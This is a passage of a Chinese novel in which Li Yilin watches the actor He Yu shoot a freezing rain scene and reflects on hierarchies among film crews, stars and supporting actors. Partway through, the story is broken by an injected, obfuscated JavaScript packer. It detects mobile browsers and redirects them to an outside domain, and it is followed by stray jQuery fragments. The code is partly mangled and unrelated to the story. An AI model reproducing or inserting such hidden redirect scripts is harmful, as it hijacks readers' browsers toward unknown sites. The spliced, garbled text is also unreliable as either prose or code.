边的桌面上。方华走过来一一试过热度，才来得及与李伊林打招呼。全身湿透的何屿随后披着羽绒服走进来，直接进到仅属于他的白色休息室，他没有看到李伊林。

    很快，演员换好一身一模一样的干燥戏服，披着羽绒服走出来，坐在凯西旁边看回放。此时，他看见了坐在二排椅子里的李伊林。

    看到她，何屿有些讶异，但也没说太多，只是稍稍打了个招呼。方华将电热水袋放在他的肚子上，助理递给他一杯热姜汤。何屿很自然接受这一切。伊林意识到，在这个休息室里，他是绝对的上位者。

    听完凯西的镜头反馈，场务来叫何屿备戏走位。身型高大的生活助理带上大伞，跟着演员出去。出现在监视器里的何屿按照导演指示调整走位，旁边助理为他撑开雨伞。

    走位完成后，何屿将羽绒服脱下递出，助理接过，撑伞回到休息室。人工造雨机开始工作，何屿站在冷水中闭上眼睛。很快，他的全身湿透，回到上一镜的状态。

    这一场戏是与女友的对手戏。第一轮是调整状态，女演员需要撑伞走向他。正式开拍后，需要完成正位、侧位、斜后位三角度拍摄，加上女演员调整状态的几条，何屿一直淋在冰水中。

    整个拍摄过程持续近一小时，伊林逼迫自己仔细看向他的每一个状态。在镜头里的何屿，不论是哪一个角度，都会将自身身形调整至“失望的挺立”——在此之前，伊林对一个好演员的判断大部分停留在面部表情的丰富与微妙。而在何屿身上，她发现一个好演员在呈现状态时，会调动身体所有部位。他对身体的每一个部位都拥有非常灵敏强大的控制力，而这或许与天赋无关。这是长期揣摩、模仿、领悟与练习的成果。

    完成这颗镜头拍摄，何屿再次回到休息室稍作休息。这一次他没有换掉被淋湿的衣服，因为时间不够。喝完热姜汤之后，他走出休息室，步入镜头范围

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459247|169676||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    。

    李伊林发现权力场的变化。在开机之前，摄制组与场务组如同“苦力”，扛着沉重的机器和道具在阴雨里来回走动。在开机之后，导演、摄像、剧务组，都穿着厚厚的防水羽绒服，将衣衫单薄的演员们包围其中。他们根据导演调度，调整着演员的每一次站位，每一场状态。无论主角配角，均成为导演组、摄制组、场务组的“提线木偶”——他们需要一遍又一遍的重复着相同的场景，要保持相同的情绪，因为需要重复拍摄大景、前景、中景、特写……演员对剧务组来说，是“非人”般的存在——这一场戏，他们需要哭。下一场戏，他们需要笑。这些美丽的人需要在接近零度的冬天里淋雨，或者在超过40度的夏天里一遍又遍表演追车。而剧务组只对镜头负责，演员的身体状况、痛苦忍耐，不是他们的职责范围。

    作为顶级艺人，在休息室里的何屿有自己的统筹与协调、服务团队，他已强过一般演员太多。配角是没有单独休息室的，分配给他们的只是一个公用空间，不仅是他们的休息室、等待间，还是他们的化妆间与临时餐厅。

    在跟片时，伊林路过过这些房间，内里布置杂乱不堪，气味浑浊，不会配备空调与取暖设备，更不会有专门的日程协调。尚未出头的中小演员只能一日一日被牵制这里，陷入无尽漫长的等待。

    在真正触摸到属于演